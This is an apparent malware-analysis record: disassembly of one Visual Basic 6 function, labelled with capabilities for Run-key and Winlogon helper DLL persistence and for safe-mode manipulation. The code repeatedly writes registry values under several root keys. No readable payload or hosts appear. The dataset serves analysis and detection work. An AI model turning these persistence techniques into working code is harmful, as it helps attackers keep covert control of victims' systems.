Function at 0x552b10
Capabilities:
Manipulate safe mode programs
Parse pe header
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4051c6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x3c8
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x403ad8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0x573550
call fcn.0053d400
mov dword [0x57354c], eax
mov dword [ebp - 4], 3
call fcn.0053d4b0
mov edx, eax
mov ecx, 0x573548
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov dword [ebp - 4], 4
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 5
cmp dword [0x573db0], 0
jne 0x552bbf
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xd4], 0x573db0
jmp 0x552bc9
mov dword [ebp - 0xd4], 0x573db0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41f758
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f748
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f6d8
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x552c64
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xd8], eax
jmp 0x552c6e
mov dword [ebp - 0xd8], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 6
cmp dword [0x573db0], 0
jne 0x552cb1
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xdc], 0x573db0
jmp 0x552cbb
mov dword [ebp - 0xdc], 0x573db0
mov edx, dword [ebp - 0xdc]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x22
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41f7b4
mov dword [ebp - 0xa0], 8
push 0x22
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41f7c0
mov dword [ebp - 0xb0], 8
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x416e90
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f778
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x552dd3
push 0x2c
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xe0], eax
jmp 0x552ddd
mov dword [ebp - 0xe0], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x50]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 7
cmp dword [0x573db0], 0
jne 0x552e42
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xe4], 0x573db0
jmp 0x552e4c
mov dword [ebp - 0xe4], 0x573db0
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x22
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41f7b4
mov dword [ebp - 0xa0], 8
push 0x22
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41f7c0
mov dword [ebp - 0xb0], 8
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x90]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x416e90
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f7cc
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x552f64
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xe8], eax
jmp 0x552f6e
mov dword [ebp - 0xe8], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x50]
push eax
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 8
cmp dword [0x573db0], 0
jne 0x552fd3
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xec], 0x573db0
jmp 0x552fdd
mov dword [ebp - 0xec], 0x573db0
mov ecx, dword [ebp - 0xec]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x22
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41f7b4
mov dword [ebp - 0xa0], 8
push 0x22
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41f7c0
mov dword [ebp - 0xb0], 8
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0x90]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x416e90
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f808
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5530f5
push 0x2c
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xf0], eax
jmp 0x5530ff
mov dword [ebp - 0xf0], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x50]
push ecx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 9
cmp dword [0x573db0], 0
jne 0x553164
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xf4], 0x573db0
jmp 0x55316e
mov dword [ebp - 0xf4], 0x573db0
mov edx, dword [ebp - 0xf4]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x22
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41f7b4
mov dword [ebp - 0xa0], 8
push 0x22
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41f7c0
mov dword [ebp - 0xb0], 8
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x416e90
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f844
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553286
push 0x2c
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xf8], eax
jmp 0x553290
mov dword [ebp - 0xf8], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x50]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 0xa
cmp dword [0x573db0], 0
jne 0x5532f5
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xfc], 0x573db0
jmp 0x5532ff
mov dword [ebp - 0xfc], 0x573db0
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x22
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41f7b4
mov dword [ebp - 0xa0], 8
push 0x22
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41f7c0
mov dword [ebp - 0xb0], 8
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x90]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x416e90
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f8a4
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553417
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x100], eax
jmp 0x553421
mov dword [ebp - 0x100], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x50]
push eax
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 0xb
cmp dword [0x573db0], 0
jne 0x553486
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x104], 0x573db0
jmp 0x553490
mov dword [ebp - 0x104], 0x573db0
mov ecx, dword [ebp - 0x104]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x22
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41f7b4
mov dword [ebp - 0xa0], 8
push 0x22
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41f7c0
mov dword [ebp - 0xb0], 8
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0x90]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x416e90
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f8e0
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5535a8
push 0x2c
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x108], eax
jmp 0x5535b2
mov dword [ebp - 0x108], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x50]
push ecx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 0xc
cmp dword [0x573db0], 0
jne 0x553617
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x10c], 0x573db0
jmp 0x553621
mov dword [ebp - 0x10c], 0x573db0
mov edx, dword [ebp - 0x10c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x22
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41f7b4
mov dword [ebp - 0xa0], 8
push 0x22
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41f7c0
mov dword [ebp - 0xb0], 8
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x416e90
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f91c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553739
push 0x2c
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x110], eax
jmp 0x553743
mov dword [ebp - 0x110], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x50]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 0xd
cmp dword [0x573db0], 0
jne 0x5537a8
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x114], 0x573db0
jmp 0x5537b2
mov dword [ebp - 0x114], 0x573db0
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41f994
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x416e90
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41f958
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55384d
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x118], eax
jmp 0x553857
mov dword [ebp - 0x118], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0xe
cmp dword [0x573db0], 0
jne 0x55389a
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x11c], 0x573db0
jmp 0x5538a4
mov dword [ebp - 0x11c], 0x573db0
mov edx, dword [ebp - 0x11c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 1
push 0x41fa38
push 0x41f9b8
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553909
push 0x34
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x120], eax
jmp 0x553913
mov dword [ebp - 0x120], 0
mov dword [ebp - 4], 0xf
cmp dword [0x573db0], 0
jne 0x55393f
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x124], 0x573db0
jmp 0x553949
mov dword [ebp - 0x124], 0x573db0
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 2
push 0x41fa54
push 0x41f9b8
push 0x80000001
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5539ae
push 0x34
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x128], eax
jmp 0x5539b8
mov dword [ebp - 0x128], 0
mov dword [ebp - 4], 0x10
cmp dword [0x573db0], 0
jne 0x5539e4
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x12c], 0x573db0
jmp 0x5539ee
mov dword [ebp - 0x12c], 0x573db0
mov ecx, dword [ebp - 0x12c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0
push 0x41f880
push 0x41f9b8
push 0x80000001
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553a53
push 0x34
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x130], eax
jmp 0x553a5d
mov dword [ebp - 0x130], 0
mov dword [ebp - 4], 0x11
cmp dword [0x573db0], 0
jne 0x553a89
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x134], 0x573db0
jmp 0x553a93
mov dword [ebp - 0x134], 0x573db0
mov edx, dword [ebp - 0x134]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
mov edx, 0x41dd84
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41faf0
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fa80
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553b2e
push 0x2c
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x138], eax
jmp 0x553b38
mov dword [ebp - 0x138], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x12
cmp dword [0x573db0], 0
jne 0x553b7b
push 0x573db0
push 0x409234
